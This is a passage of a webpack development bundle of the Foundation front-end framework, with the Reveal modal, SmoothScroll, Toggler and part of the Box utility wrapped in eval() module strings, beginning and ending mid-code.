jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\", -scrollTop);\n }\n }\n /**\n * Reenables the scroll when Reveal closes\n * @param {number} scrollTop - Scroll to restore, html \"top\" property by default (as set by `_disableScroll`)\n */\n\n }, {\n key: \"_enableScroll\",\n value: function _enableScroll(scrollTop) {\n scrollTop = scrollTop || parseInt(jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\"));\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).height() > jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height()) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\", \"\");\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).scrollTop(-scrollTop);\n }\n }\n /**\n * Opens the modal controlled by `this.$anchor`, and closes all others by default.\n * @function\n * @fires Reveal#closeme\n * @fires Reveal#open\n */\n\n }, {\n key: \"open\",\n value: function open() {\n var _this4 = this;\n\n // either update or replace browser history\n var hash = \"#\".concat(this.id);\n\n if (this.options.deepLink && window.location.hash !== hash) {\n if (window.history.pushState) {\n if (this.options.updateHistory) {\n window.history.pushState({}, '', hash);\n } else {\n window.history.replaceState({}, '', hash);\n }\n } else {\n window.location.hash = hash;\n }\n } // Remember anchor that opened it to set focus back later, have general anchors as fallback\n\n\n this.$activeAnchor = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.activeElement).is(this.$anchor) ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.activeElement) : this.$anchor;\n this.isActive = true; // Make elements invisible, but remove display: none so we can get size and positioning\n\n this.$element.css({\n 'visibility': 'hidden'\n }).show().scrollTop(0);\n\n if (this.options.overlay) {\n this.$overlay.css({\n 'visibility': 'hidden'\n }).show();\n }\n\n this._updatePosition();\n\n this.$element.hide().css({\n 'visibility': ''\n });\n\n if (this.$overlay) {\n this.$overlay.css({\n 'visibility': ''\n }).hide();\n\n if (this.$element.hasClass('fast')) {\n this.$overlay.addClass('fast');\n } else if (this.$element.hasClass('slow')) {\n this.$overlay.addClass('slow');\n }\n }\n\n if (!this.options.multipleOpened) {\n /**\n * Fires immediately before the modal opens.\n * Closes any other modals that are currently open\n * @event Reveal#closeme\n */\n this.$element.trigger('closeme.zf.reveal', this.id);\n }\n\n this._disableScroll();\n\n var _this = this; // Motion UI method of reveal\n\n\n if (this.options.animationIn) {\n var afterAnimation = function afterAnimation() {\n _this.$element.attr({\n 'aria-hidden': false,\n 'tabindex': -1\n }).focus();\n\n _this._addGlobalClasses();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].trapFocus(_this.$element);\n };\n\n if (this.options.overlay) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateIn(this.$overlay, 'fade-in');\n }\n\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateIn(this.$element, this.options.animationIn, function () {\n if (_this4.$element) {\n // protect against object having been removed\n _this4.focusableElements = _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].findFocusable(_this4.$element);\n afterAnimation();\n }\n });\n } // jQuery method of reveal\n else {\n if (this.options.overlay) {\n this.$overlay.show(0);\n }\n\n this.$element.show(this.options.showDelay);\n } // handle accessibility\n\n\n this.$element.attr({\n 'aria-hidden': false,\n 'tabindex': -1\n }).focus();\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].trapFocus(this.$element);\n\n this._addGlobalClasses();\n\n this._addGlobalListeners();\n /**\n * Fires when the modal has successfully opened.\n * @event Reveal#open\n */\n\n\n this.$element.trigger('open.zf.reveal');\n }\n /**\n * Adds classes and listeners on document required by open modals.\n *\n * The following classes are added and updated:\n * - `.is-reveal-open` - Prevents the scroll on document\n * - `.zf-has-scroll` - Displays a disabled scrollbar on document if required like if the\n * scroll was not disabled. This prevent a \"shift\" of the page content due\n * the scrollbar disappearing when the modal opens.\n *\n * @private\n */\n\n }, {\n key: \"_addGlobalClasses\",\n value: function _addGlobalClasses() {\n var updateScrollbarClass = function updateScrollbarClass() {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').toggleClass('zf-has-scroll', !!(jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).height() > jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height()));\n };\n\n this.$element.on('resizeme.zf.trigger.revealScrollbarListener', function () {\n return updateScrollbarClass();\n });\n updateScrollbarClass();\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').addClass('is-reveal-open');\n }\n /**\n * Removes classes and listeners on document that were required by open modals.\n * @private\n */\n\n }, {\n key: \"_removeGlobalClasses\",\n value: function _removeGlobalClasses() {\n this.$element.off('resizeme.zf.trigger.revealScrollbarListener');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').removeClass('is-reveal-open');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').removeClass('zf-has-scroll');\n }\n /**\n * Adds extra event handlers for the body and window if necessary.\n * @private\n */\n\n }, {\n key: \"_addGlobalListeners\",\n value: function _addGlobalListeners() {\n var _this = this;\n\n if (!this.$element) {\n return;\n } // If we're in the middle of cleanup, don't freak out\n\n\n this.focusableElements = _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].findFocusable(this.$element);\n\n if (!this.options.overlay && this.options.closeOnClick && !this.options.fullScreen) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('body').on('click.zf.reveal', function (e) {\n if (e.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(_this.$element[0], e.target) || !jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(document, e.target)) {\n return;\n }\n\n _this.close();\n });\n }\n\n if (this.options.closeOnEsc) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on('keydown.zf.reveal', function (e) {\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].handleKey(e, 'Reveal', {\n close: function close() {\n if (_this.options.closeOnEsc) {\n _this.close();\n }\n }\n });\n });\n }\n }\n /**\n * Closes the modal.\n * @function\n * @fires Reveal#closed\n */\n\n }, {\n key: \"close\",\n value: function close() {\n if (!this.isActive || !this.$element.is(':visible')) {\n return false;\n }\n\n var _this = this; // Motion UI method of hiding\n\n\n if (this.options.animationOut) {\n if (this.options.overlay) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateOut(this.$overlay, 'fade-out');\n }\n\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateOut(this.$element, this.options.animationOut, finishUp);\n } // jQuery method of hiding\n else {\n this.$element.hide(this.options.hideDelay);\n\n if (this.options.overlay) {\n this.$overlay.hide(0, finishUp);\n } else {\n finishUp();\n }\n } // Conditionals to remove extra event listeners added on open\n\n\n if (this.options.closeOnEsc) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off('keydown.zf.reveal');\n }\n\n if (!this.options.overlay && this.options.closeOnClick) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('body').off('click.zf.reveal');\n }\n\n this.$element.off('keydown.zf.reveal');\n\n function finishUp() {\n // Get the current top before the modal is closed and restore the scroll after.\n // TODO: use component properties instead of HTML properties\n // See https://github.com/zurb/foundation-sites/pull/10786\n var scrollTop = parseInt(jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\"));\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()('.reveal:visible').length === 0) {\n _this._removeGlobalClasses(); // also remove .is-reveal-open from the html element when there is no opened reveal\n\n }\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].releaseFocus(_this.$element);\n\n _this.$element.attr('aria-hidden', true);\n\n _this._enableScroll(scrollTop);\n /**\n * Fires when the modal is done closing.\n * @event Reveal#closed\n */\n\n\n _this.$element.trigger('closed.zf.reveal');\n }\n /**\n * Resets the modal content\n * This prevents a running video to keep going in the background\n */\n\n\n if (this.options.resetOnClose) {\n this.$element.html(this.$element.html());\n }\n\n this.isActive = false; // If deepLink and we did not switched to an other modal...\n\n if (_this.options.deepLink && window.location.hash === \"#\".concat(this.id)) {\n // Remove the history hash\n if (window.history.replaceState) {\n var urlWithoutHash = window.location.pathname + window.location.search;\n\n if (this.options.updateHistory) {\n window.history.pushState({}, '', urlWithoutHash); // remove the hash\n } else {\n window.history.replaceState('', document.title, urlWithoutHash);\n }\n } else {\n window.location.hash = '';\n }\n }\n\n this.$activeAnchor.focus();\n }\n /**\n * Toggles the open/closed state of a modal.\n * @function\n */\n\n }, {\n key: \"toggle\",\n value: function toggle() {\n if (this.isActive) {\n this.close();\n } else {\n this.open();\n }\n }\n }, {\n key: \"_destroy\",\n\n /**\n * Destroys an instance of a modal.\n * @function\n */\n value: function _destroy() {\n if (this.options.overlay) {\n this.$element.appendTo(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.options.appendTo)); // move $element outside of $overlay to prevent error unregisterPlugin()\n\n this.$overlay.hide().off().remove();\n }\n\n this.$element.hide().off();\n this.$anchor.off('.zf');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(\".zf.reveal:\".concat(this.id));\n if (this.onLoadListener) jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(this.onLoadListener);\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()('.reveal:visible').length === 0) {\n this._removeGlobalClasses(); // also remove .is-reveal-open from the html element when there is no opened reveal\n\n }\n }\n }]);\n\n return Reveal;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__[\"Plugin\"]);\n\nReveal.defaults = {\n /**\n * Motion-UI class to use for animated elements. If none used, defaults to simple show/hide.\n * @option\n * @type {string}\n * @default ''\n */\n animationIn: '',\n\n /**\n * Motion-UI class to use for animated elements. If none used, defaults to simple show/hide.\n * @option\n * @type {string}\n * @default ''\n */\n animationOut: '',\n\n /**\n * Time, in ms, to delay the opening of a modal after a click if no animation used.\n * @option\n * @type {number}\n * @default 0\n */\n showDelay: 0,\n\n /**\n * Time, in ms, to delay the closing of a modal after a click if no animation used.\n * @option\n * @type {number}\n * @default 0\n */\n hideDelay: 0,\n\n /**\n * Allows a click on the body/overlay to close the modal.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnClick: true,\n\n /**\n * Allows the modal to close if the user presses the `ESCAPE` key.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnEsc: true,\n\n /**\n * If true, allows multiple modals to be displayed at once.\n * @option\n * @type {boolean}\n * @default false\n */\n multipleOpened: false,\n\n /**\n * Distance, in pixels, the modal should push down from the top of the screen.\n * @option\n * @type {number|string}\n * @default auto\n */\n vOffset: 'auto',\n\n /**\n * Distance, in pixels, the modal should push in from the side of the screen.\n * @option\n * @type {number|string}\n * @default auto\n */\n hOffset: 'auto',\n\n /**\n * Allows the modal to be fullscreen, completely blocking out the rest of the view. JS checks for this as well.\n * @option\n * @type {boolean}\n * @default false\n */\n fullScreen: false,\n\n /**\n * Allows the modal to generate an overlay div, which will cover the view when modal opens.\n * @option\n * @type {boolean}\n * @default true\n */\n overlay: true,\n\n /**\n * Allows the modal to remove and reinject markup on close. Should be true if using video elements w/o using provider's api, otherwise, videos will continue to play in the background.\n * @option\n * @type {boolean}\n * @default false\n */\n resetOnClose: false,\n\n /**\n * Link the location hash to the modal.\n * Set the location hash when the modal is opened/closed, and open/close the modal when the location changes.\n * @option\n * @type {boolean}\n * @default false\n */\n deepLink: false,\n\n /**\n * If `deepLink` is enabled, update the browser history with the open modal\n * @option\n * @default false\n */\n updateHistory: false,\n\n /**\n * Allows the modal to append to custom div.\n * @option\n * @type {string}\n * @default \"body\"\n */\n appendTo: \"body\",\n\n /**\n * Allows adding additional class names to the reveal overlay.\n * @option\n * @type {string}\n * @default ''\n */\n additionalOverlayClasses: ''\n};\n\n\n//# sourceURL=webpack:///./js/foundation.reveal.js?")},"./js/foundation.smoothScroll.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "SmoothScroll", function() { return SmoothScroll; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n/**\n * SmoothScroll module.\n * @module foundation.smooth-scroll\n */\n\nvar SmoothScroll =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(SmoothScroll, _Plugin);\n\n function SmoothScroll() {\n _classCallCheck(this, SmoothScroll);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(SmoothScroll).apply(this, arguments));\n }\n\n _createClass(SmoothScroll, [{\n key: "_setup",\n\n /**\n * Creates a new instance of SmoothScroll.\n * @class\n * @name SmoothScroll\n * @fires SmoothScroll#init\n * @param {Object} element - jQuery object to add the trigger to.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, SmoothScroll.defaults, this.$element.data(), options);\n this.className = \'SmoothScroll\'; // ie9 back compat\n\n this._init();\n }\n /**\n * Initialize the SmoothScroll plugin\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n var id = this.$element[0].id || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__["GetYoDigits"])(6, \'smooth-scroll\');\n this.$element.attr({\n id: id\n });\n\n this._events();\n }\n /**\n * Initializes events for SmoothScroll.\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n this.$element.on(\'click.zf.smoothScroll\', this._handleLinkClick);\n this.$element.on(\'click.zf.smoothScroll\', \'a[href^="#"]\', this._handleLinkClick);\n }\n /**\n * Handle the given event to smoothly scroll to the anchor pointed by the event target.\n * @param {*} e - event\n * @function\n * @private\n */\n\n }, {\n key: "_handleLinkClick",\n value: function _handleLinkClick(e) {\n var _this = this;\n\n // Follow the link if it does not point to an anchor.\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.currentTarget).is(\'a[href^="#"]\')) return;\n var arrival = e.currentTarget.getAttribute(\'href\');\n this._inTransition = true;\n SmoothScroll.scrollToLoc(arrival, this.options, function () {\n _this._inTransition = false;\n });\n e.preventDefault();\n }\n }, {\n key: "_destroy",\n\n /**\n * Destroys the SmoothScroll instance.\n * @function\n */\n value: function _destroy() {\n this.$element.off(\'click.zf.smoothScroll\', this._handleLinkClick);\n this.$element.off(\'click.zf.smoothScroll\', \'a[href^="#"]\', this._handleLinkClick);\n }\n }], [{\n key: "scrollToLoc",\n\n /**\n * Function to scroll to a given location on the page.\n * @param {String} loc - A properly formatted jQuery id selector. Example: \'#foo\'\n * @param {Object} options - The options to use.\n * @param {Function} callback - The callback function.\n * @static\n * @function\n */\n value: function scrollToLoc(loc) {\n var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : SmoothScroll.defaults;\n var callback = arguments.length > 2 ? arguments[2] : undefined;\n var $loc = jquery__WEBPACK_IMPORTED_MODULE_0___default()(loc); // Do nothing if target does not exist to prevent errors\n\n if (!$loc.length) return false;\n var scrollPos = Math.round($loc.offset().top - options.threshold / 2 - options.offset);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\'html, body\').stop(true).animate({\n scrollTop: scrollPos\n }, options.animationDuration, options.animationEasing, function () {\n if (typeof callback === \'function\') {\n callback();\n }\n });\n }\n }]);\n\n return SmoothScroll;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__["Plugin"]);\n/**\n * Default settings for plugin.\n */\n\n\nSmoothScroll.defaults = {\n /**\n * Amount of time, in ms, the animated scrolling should take between locations.\n * @option\n * @type {number}\n * @default 500\n */\n animationDuration: 500,\n\n /**\n * Animation style to use when scrolling between locations. Can be `\'swing\'` or `\'linear\'`.\n * @option\n * @type {string}\n * @default \'linear\'\n * @see {@link https://api.jquery.com/animate|Jquery animate}\n */\n animationEasing: \'linear\',\n\n /**\n * Number of pixels to use as a marker for location changes.\n * @option\n * @type {number}\n * @default 50\n */\n threshold: 50,\n\n /**\n * Number of pixels to offset the scroll of the page on item click if using a sticky nav bar.\n * @option\n * @type {number}\n * @default 0\n */\n offset: 0\n};\n\n\n//# sourceURL=webpack:///./js/foundation.smoothScroll.js?')},"./js/foundation.toggler.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Toggler", function() { return Toggler; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.motion */ "./js/foundation.util.motion.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n/* harmony import */ var _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.triggers */ "./js/foundation.util.triggers.js");\n\n\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n/**\n * Toggler module.\n * @module foundation.toggler\n * @requires foundation.util.motion\n * @requires foundation.util.triggers\n */\n\nvar Toggler =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(Toggler, _Plugin);\n\n function Toggler() {\n _classCallCheck(this, Toggler);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(Toggler).apply(this, arguments));\n }\n\n _createClass(Toggler, [{\n key: "_setup",\n\n /**\n * Creates a new instance of Toggler.\n * @class\n * @name Toggler\n * @fires Toggler#init\n * @param {Object} element - jQuery object to add the trigger to.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, Toggler.defaults, element.data(), options);\n this.className = \'\';\n this.className = \'Toggler\'; // ie9 back compat\n // Triggers init is idempotent, just need to make sure it is initialized\n\n _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_4__["Triggers"].init(jquery__WEBPACK_IMPORTED_MODULE_0___default.a);\n\n this._init();\n\n this._events();\n }\n /**\n * Initializes the Toggler plugin by parsing the toggle class from data-toggler, or animation classes from data-animate.\n * @function\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n var input; // Parse animation classes if they were set\n\n if (this.options.animate) {\n input = this.options.animate.split(\' \');\n this.animationIn = input[0];\n this.animationOut = input[1] || null;\n } // Otherwise, parse toggle class\n else {\n input = this.$element.data(\'toggler\'); // Allow for a . at the beginning of the string\n\n this.className = input[0] === \'.\' ? input.slice(1) : input;\n } // Add ARIA attributes to triggers:\n\n\n var id = this.$element[0].id,\n $triggers = jquery__WEBPACK_IMPORTED_MODULE_0___default()("[data-open~=\\"".concat(id, "\\"], [data-close~=\\"").concat(id, "\\"], [data-toggle~=\\"").concat(id, "\\"]")); // - aria-expanded: according to the element visibility.\n\n $triggers.attr(\'aria-expanded\', !this.$element.is(\':hidden\')); // - aria-controls: adding the element id to it if not already in it.\n\n $triggers.each(function (index, trigger) {\n var $trigger = jquery__WEBPACK_IMPORTED_MODULE_0___default()(trigger);\n var controls = $trigger.attr(\'aria-controls\') || \'\';\n var containsId = new RegExp("\\\\b".concat(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__["RegExpEscape"])(id), "\\\\b")).test(controls);\n if (!containsId) $trigger.attr(\'aria-controls\', controls ? "".concat(controls, " ").concat(id) : id);\n });\n }\n /**\n * Initializes events for the toggle trigger.\n * @function\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n this.$element.off(\'toggle.zf.trigger\').on(\'toggle.zf.trigger\', this.toggle.bind(this));\n }\n /**\n * Toggles the target class on the target element. An event is fired from the original trigger depending on if the resultant state was "on" or "off".\n * @function\n * @fires Toggler#on\n * @fires Toggler#off\n */\n\n }, {\n key: "toggle",\n value: function toggle() {\n this[this.options.animate ? \'_toggleAnimate\' : \'_toggleClass\']();\n }\n }, {\n key: "_toggleClass",\n value: function _toggleClass() {\n this.$element.toggleClass(this.className);\n var isOn = this.$element.hasClass(this.className);\n\n if (isOn) {\n /**\n * Fires if the target element has the class after a toggle.\n * @event Toggler#on\n */\n this.$element.trigger(\'on.zf.toggler\');\n } else {\n /**\n * Fires if the target element does not have the class after a toggle.\n * @event Toggler#off\n */\n this.$element.trigger(\'off.zf.toggler\');\n }\n\n this._updateARIA(isOn);\n\n this.$element.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n }\n }, {\n key: "_toggleAnimate",\n value: function _toggleAnimate() {\n var _this = this;\n\n if (this.$element.is(\':hidden\')) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_1__["Motion"].animateIn(this.$element, this.animationIn, function () {\n _this._updateARIA(true);\n\n this.trigger(\'on.zf.toggler\');\n this.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n });\n } else {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_1__["Motion"].animateOut(this.$element, this.animationOut, function () {\n _this._updateARIA(false);\n\n this.trigger(\'off.zf.toggler\');\n this.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n });\n }\n }\n }, {\n key: "_updateARIA",\n value: function _updateARIA(isOn) {\n var id = this.$element[0].id;\n jquery__WEBPACK_IMPORTED_MODULE_0___default()("[data-open=\\"".concat(id, "\\"], [data-close=\\"").concat(id, "\\"], [data-toggle=\\"").concat(id, "\\"]")).attr({\n \'aria-expanded\': isOn ? true : false\n });\n }\n /**\n * Destroys the instance of Toggler on the element.\n * @function\n */\n\n }, {\n key: "_destroy",\n value: function _destroy() {\n this.$element.off(\'.zf.toggler\');\n }\n }]);\n\n return Toggler;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__["Plugin"]);\n\nToggler.defaults = {\n /**\n * Tells the plugin if the element should animated when toggled.\n * @option\n * @type {boolean}\n * @default false\n */\n animate: false\n};\n\n\n//# sourceURL=webpack:///./js/foundation.toggler.js?')},"./js/foundation.util.box.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Box\", function() { return Box; });\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n\n\n\nvar Box = {\n ImNotTouchingYou: ImNotTouchingYou,\n OverlapArea: OverlapArea,\n GetDimensions: GetDimensions,\n GetOffsets: GetOffsets,\n GetExplicitOffsets: GetExplicitOffsets\n /**\n * Compares the dimensions of an element to a container and determines collision events with container.\n * @function\n * @param {jQuery} element - jQuery object to test for collisions.\n * @param {jQuery} parent - jQuery object to use as bounding container.\n * @param {Boolean} lrOnly - set to true to check left and right values only.\n * @param {Boolean} tbOnly - set to true to check top and bottom values only.\n * @default if no parent object passed, detects collisions with `window`.\n * @returns {Boolean} - true if collision free, false if a collision in any direction.\n */\n\n};\n\nfunction ImNotTouchingYou(element, parent, lrOnly, tbOnly, ignoreBottom) {\n return OverlapArea(element, parent, lrOnly, tbOnly, ignoreBottom) === 0;\n}\n\n;\n\nfunction OverlapArea(element, parent, lrOnly, tbOnly, ignoreBottom) {\n var eleDims = GetDimensions(element),\n topOver,\n bottomOver,\n leftOver,\n rightOver;\n\n if (parent) {\n var parDims = GetDimensions(parent);\n bottomOver = parDims.height + parDims.offset.top - (eleDims.offset.top + eleDims.height);\n topOver = eleDims.offset.top - parDims.offset.top;\n leftOver = eleDims.offset.left - parDims.offset.left;\n rightOver = parDims.width + parDims.offset.left - (eleDims.offset.left + eleDims.width);\n } else {\n bottomOver = eleDims.windowDims.height + eleDims.windowDims.offset.top - (eleDims.offset.top + eleDims.height);\n topOver = eleDims.offset.top - eleDims.windowDims.offset.top;\n leftOver = eleDims.offset.left - eleDims.windowDims.offset.left;\n rightOver = eleDims.windowDims.width - (eleDims.offset.left + eleDims.width);\n }\n\n bottomOver = ignoreBottom ? 0 : Math.min(bottomOver, 0);\n topOver = Math.min(topOver, 0);\n leftOver = Math.min(leftOver, 0);\n rightOver = Math.min(rightOver, 0);\n\n if (lrOnly) {\n return leftOver + rightOver;\n }\n\n if (tbOnly) {\n return topOver + bottomOver;\n } // use sum of squares b/c we care about overlap area.\n\n\n return Math.sqrt(topOver * topOver + bottomOver * bottomOver + leftOver * leftOver + rightOver * rightOver);\n}\n/**\n * Uses native methods to return an object of dimension values.\n * @function\n * @param {jQuery || HTML} element - jQuery object or DOM element for which to get the dimensions. Can be any element other that document or window.\n * @returns {Object} - nested object of integer pixel values\n * TODO - if element is window, return only those values.\n */\n\n\nfunction GetDimensions(elem) {\n elem = elem.length ? elem[0] : elem;\n\n if (elem === window || elem === document) {\n throw new Error(\"I'm sorry, Dave. I'm afraid I can't do that.\");\n }\n\n var rect = elem.getBoundingClientRect(),\n parRect = elem.parentNode.getBoundingClientRect(),\n winRect = document.body.getBoundingClientRect(),\n winY = window.pageYOffset,\n winX = 